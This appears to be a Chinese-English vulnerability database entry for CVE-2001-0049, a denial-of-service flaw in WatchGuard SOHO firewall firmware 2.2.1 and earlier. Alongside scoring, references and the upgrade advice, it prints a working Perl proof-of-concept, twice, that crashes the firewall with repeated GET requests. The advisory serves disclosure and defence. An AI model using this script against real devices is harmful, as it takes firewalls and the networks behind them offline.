CVE-2001-0049
CVSS5.0
发布时间 :2001-02-16 00:00:00
修订时间 :2008-09-05 16:23:08
NMCOES    

[原文]WatchGuard SOHO FireWall 2.2.1 and earlier allows remote attackers to cause a denial of service via a large number of GET requests.


[CNNVD]Watchguard SOHO导致服务拒绝漏洞(CNNVD-200102-097)

        WatchGuard SOHO FireWall 2.2.1及其早期版本存在漏洞。远程攻击者借助大量的GET请求导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0049
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0049
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200102-097
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5665.php
(VENDOR_ADVISORY)  XF  watchguard-soho-get-dos
http://www.securityfocus.com/bid/2082
(VENDOR_ADVISORY)  BID  2082
http://archives.neohapsis.com/archives/bugtraq/2000-12/0079.html
(VENDOR_ADVISORY)  BUGTRAQ  20001207 WatchGuard SOHO v2.2.1 DoS

- 漏洞信息

Watchguard SOHO导致服务拒绝漏洞
中危 其他
2001-02-16 00:00:00 2005-10-20 00:00:00
远程※本地  
        WatchGuard SOHO FireWall 2.2.1及其早期版本存在漏洞。远程攻击者借助大量的GET请求导致服务拒绝。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (20487)

Watchguard SOHO 2.2 Denial of Service Vulnerability (EDBID:20487)
hardware dos
2000-12-08 Verified
0 Filip Maertens
N/A [点击下载]
source: http://www.securityfocus.com/bid/2082/info

The SOHO 2.2 is a popular SOHO firewall by Watchguard Technologies Inc.

A vulnerability exists in Watchguard SOHO 2.2 firewalls with firmware versions 2.2.1 and below that could allow a remote attacker to execute a Denial of Service attack on the firewall and render it in-operable.

It is possible for a remote attacker to issue large amounts of GET requests (70+) to the firewall which will in turn deplete memory resources on the firewall and either cause it to reboot or shutdown completely. In the case of a reboot, the firewall will be in-operable for one to five minutes. If the firewall shuts down completely, it will require a power recycle. In the case of a sustained attack, the firewall can be permanently taken off-line. It should be noted that this attack does not appear in the firewall logs except for a reboot notification. 

#!/usr/bin/perl
#
# You can also connect to the Watchguard SOHO through your
# browser and press F5 like a maniac on speed to get the
# firewall crashing. So, either you run the .pl script or
# you fire up your webbrowser... Either way, it works.
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
# (c)Proof of concept, vorlon <filip@securax.be>
# ----------------------------------------------------------
use IO::Socket;

$host = "your_watchguard_ip";
$port = "your_port";
$repeat = "100";
$request = "GET / HTTP/1.0";

print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) ||
die "Failed.\n";

$counter = 0;
print "Repeating request for $repeat times.\n";
while($counter < $repeat) {
print $socket "$request\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
PeerPort=>$port) || die "\nThe Watchguard SOHO has crashed. BEEFCAKE!...\n";
print ".";
$counter += 1;
}
print "\nDone.\n\n";

close($socket); 		

- 漏洞信息

4402
WatchGuard Firebox SOHO Multiple HTTP GET Request DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

WatchGuard Firebox SOHO contains a flaw that may allow a remote denial of service. The issue is triggered when a remote attacker sends a large number of GET requests to the web server, and will result in loss of availability for the firewall.

- 时间线

2000-12-04 Unknow
2000-12-04 Unknow

- 解决方案

Upgrade to version 2.2.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Watchguard SOHO 2.2 Denial of Service Vulnerability
Failure to Handle Exceptional Conditions 2082
Yes Yes
2000-12-08 12:00:00 2009-07-11 03:56:00
This vulnerability was first reported to Bugtraq on December 8, 2000 by Filip Maertens <filip@securax.be>.

- 受影响的程序版本

WatchGuard SOHO 2.2

- 漏洞讨论

The SOHO 2.2 is a popular SOHO firewall by Watchguard Technologies Inc.

A vulnerability exists in Watchguard SOHO 2.2 firewalls with firmware versions 2.2.1 and below that could allow a remote attacker to execute a Denial of Service attack on the firewall and render it in-operable.

It is possible for a remote attacker to issue large amounts of GET requests (70+) to the firewall which will in turn deplete memory resources on the firewall and either cause it to reboot or shutdown completely. In the case of a reboot, the firewall will be in-operable for one to five minutes. If the firewall shuts down completely, it will require a power recycle. In the case of a sustained attack, the firewall can be permanently taken off-line. It should be noted that this attack does not appear in the firewall logs except for a reboot notification.

- 漏洞利用

#!/usr/bin/perl
#
# You can also connect to the Watchguard SOHO through your
# browser and press F5 like a maniac on speed to get the
# firewall crashing. So, either you run the .pl script or
# you fire up your webbrowser... Either way, it works.
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
# (c)Proof of concept, vorlon &lt;filip@securax.be&gt;
# ----------------------------------------------------------
use IO::Socket;

$host = "your_watchguard_ip";
$port = "your_port";
$repeat = "100";
$request = "GET / HTTP/1.0";

print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";
$socket = IO::Socket::INET-&gt;new(Proto=&gt;"tcp", PeerAddr=&gt;$host, PeerPort=&gt;$port) ||
die "Failed.\n";

$counter = 0;
print "Repeating request for $repeat times.\n";
while($counter &lt; $repeat) {
print $socket "$request\n";
$socket = IO::Socket::INET-&gt;new(Proto=&gt;"tcp", PeerAddr=&gt;$host,
PeerPort=&gt;$port) || die "\nThe Watchguard SOHO has crashed. BEEFCAKE!...\n";
print ".";
$counter += 1;
}
print "\nDone.\n\n";

close($socket);

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

     

     

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